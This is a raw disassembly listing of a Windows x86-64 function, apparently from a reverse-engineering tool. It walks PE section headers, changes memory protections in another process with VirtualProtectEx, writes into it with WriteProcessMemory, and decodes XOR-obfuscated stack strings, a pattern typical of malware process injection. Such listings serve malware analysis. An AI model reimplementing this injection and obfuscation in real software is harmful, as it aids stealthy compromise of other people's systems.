mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x300], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x308], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x310], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x318], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vzeroupper
call fcn.140018280
mov edx, dword [rbp + 0xa0]
lea r10, str..reloc
movabs r11, 0x366befd14d6e3877
lea r9, str..rsrc
lea r8, [0x140082da0]
movzx eax, word [r15 + 6]
inc edx
add rbx, 0x28
mov dword [rbp + 0xa0], edx
cmp edx, eax
jne 0x1400175e0
cmp byte [rsp + 0x478], 0
je 0x140017b35
movzx ebx, word [r15 + 0x14]
xor r14d, r14d
add rbx, 0x18
add rbx, r15
cmp word [r15 + 6], r14w
je 0x140017b02
lea edx, [r14 + 0x20]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x140017aed
mov eax, dword [rbx + 0x24]
mov dword [rbp + 0xb4], 0
test eax, 0x80000000
jbe 0x14001789a
mov edi, 4
jmp 0x1400178a7
test eax, 0x20000000
mov edi, 2
cmova edi, edx
mov edx, dword [rbx + 0xc]
lea rax, [rbp + 0xb4]
add rdx, qword [rbp + 0x10]
mov r8, rcx
mov r9d, edi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14001799f
movabs rax, 0x7f76f3dd5a622f54
lea rcx, [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
movabs rax, 0x2d0ed70085621f31
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movabs rax, 0xb5a3f56a340b9402
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
movabs rax, 0x5f189cb42e014a27
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x320], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x328], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x330], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x338], rax
vmovdqu ymm0, ymmword [rbp + 0x320]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x120], ymm1
jmp 0x140017ada
movabs rcx, 0x302b1cf95c81b398
movabs rax, 0x3a6bbc8e62480b61
mov qword [rbp + 8], rax
movabs rdx, 0x65f3c788223c25bb
mov rax, qword [rbp + 8]
mov qword [rbp + 0x220], rax
movabs rax, 0x3f0b830b992b1877
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x228], rax
movabs rax, 0xc1c68c122c41da51
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x230], rax
movabs rax, 0x6f7e85e513129b6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x238], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x240], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x248], rax
movabs rax, 0x5f189cb42e014a27
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xb5a3ff32582eb471
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 8], rcx
lea rcx, [rbp + 0x220]
mov rax, qword [rbp + 8]
movdqa xmm2, xmmword [rbp + 0x240]
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
mov qword [rbp + 0x2c8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqa xmmword [rbp + 0x240], xmm2
mov rdx, rbx
mov r8d, edi
vzeroupper
call fcn.140018280
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, word [r15 + 6]
inc r14d
add rbx, 0x28
cmp r14d, eax
jne 0x140017874
movzx eax, word [r15 + 0x14]
mov r9d, 2
mov rdx, qword [rbp + 0x10]
mov rcx, rsi
mov dword [rbp + 0xb8], 0
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rbp]
mov r9d, 0x1000
mov rdx, qword [rbp + 0xa8]
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp + 0xa8]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0xc0]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140017cf7
movabs rax, 0x3e75bcd3406e3870
lea rcx, [rbp + 0x20]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
movabs rax, 0x385e8302982b1c64
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movabs rax, 0xb5a3ff32582ebe03
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x60], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
mov rdx, qword [rbp + 0x10]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp + 0xc0]
jmp 0x14001728c
movabs rax, 0x7f6befd14d6e3877
lea rcx, [rbp + 0x20]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
movabs rax, 0x604ac60d85231e77
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movabs rax, 0xdac0df463156d151
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x30], rax
movabs rax, 0xca5e05e51782df2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x60], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x68], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x70], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov edx, dword [rbp + 0xa4]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.140018280
xor al, al
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret